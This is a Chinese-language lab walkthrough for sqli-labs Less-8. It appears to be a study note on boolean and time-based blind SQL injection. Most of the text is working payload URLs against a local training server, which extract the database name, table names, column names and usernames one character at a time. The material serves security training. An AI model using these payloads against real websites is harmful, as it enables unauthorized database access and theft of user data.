Less-8
GET-盲注-基于布尔值-单引号
Less | 注入方法 | 正确回显 | 错误回显 |
---|---|---|---|
1 | 基于错误注入 | 查询到的用户名和密码 | Mysql错误信息 |
5 | 双注入/盲注 | You are in........... | Mysql错误信息 |
7 | 导出文件注入 |
You are in.... Use outfile......
|
You have an error in your SQL syntax |
8 | Bool型盲注 | You are in........... | 无任何信息 |
http://192.168.33.1/sqli/Less-8/?id=1' and left(version(),1)=5 -- #
http://192.168.33.1/sqli/Less-8/?id=1' and left(version(),6)='5.5.47'-- # (PS:一般知道是5.x版本就可以了,不要那么详细也可以)
注)(在后面的关卡会详细说明,这里简单了解下):
其实我们在这一关中利用延时盲注也是可以的,如果查询语句为true,网页会很快进行回显,否则会延时(延时时间自己设定),然后网页才进行回显:
http://192.168.33.1/sqli/Less-8/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5)) -- #
http://192.168.33.1/sqli/Less-8/?id=1' and If(ascii(substr(database(),1,1))=116,1,sleep(5)) -- #
(延时5秒)
http://192.168.33.1/sqli/Less-8/?id=1' and length(database())=8 -- #
http://192.168.33.1/sqli/Less-8/?id=1' and left(database(),1)>'r' -- #
http://192.168.33.1/sqli/Less-8/?id=1' and left(database(),1)>'s' -- #
http://192.168.33.1/sqli/Less-8/?id=1' and left(database(),8)='security' -- #
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80 -- #
页面回显正确
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 -- #
页面回显正常
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 -- #
页面回显错误
由此推断出securrity第一个表的第一个字符为e
PS---了解即可
要特别注意的是语句之间是一个空格,下面的案例就是 select和table_name之间就是多了一个空格导致返回异常,但有的时候又不会返回异常,烦死了,困扰了我一个多小时,2333,经过研究发现,如果对注入语句进行url编码,那么多几个空格都不会返回异常了,这种最保险。
在线url编码网站:http://tool.chinaz.com/tools/urlencode.aspx
对 ' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80-- #进行url编码:%27+and+ascii(substr((select++table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0%2c1)%2c1%2c1))%3e80--+%23
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>80 -- #
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108 -- #
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109 -- #
可推断出第一个表第二个字符为m
。。。
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>80 -- #
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- #
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114 -- #
由此可推出第二个表第一个字符为r
http://192.168.33.1/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^usern[a-z]' limit 0,1) -- #
http://192.168.33.1/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username[a-z]' limit 0,1) -- #
http://192.168.33.1/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) -- #
http://192.168.33.1/sqli/Less-8/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>65-- #
http://192.168.33.1/sqli/Less-8/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>68-- #
http://192.168.33.1/sqli/Less-8/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68-- #
获取第二个用户名
http://192.168.33.1/sqli/Less-8/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 1,1),1,1))>65-- #
http://192.168.33.1/sqli/Less-8/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 1,1),1,1))=65-- #
与7步骤雷同,只需把7里面的语句username换成password即可。这里不再重复造轮子了。
=================== 我是分割线 =====================
布尔盲注耗费时间长,建议使用python脚本:
(暂未发现好的脚本,待补充)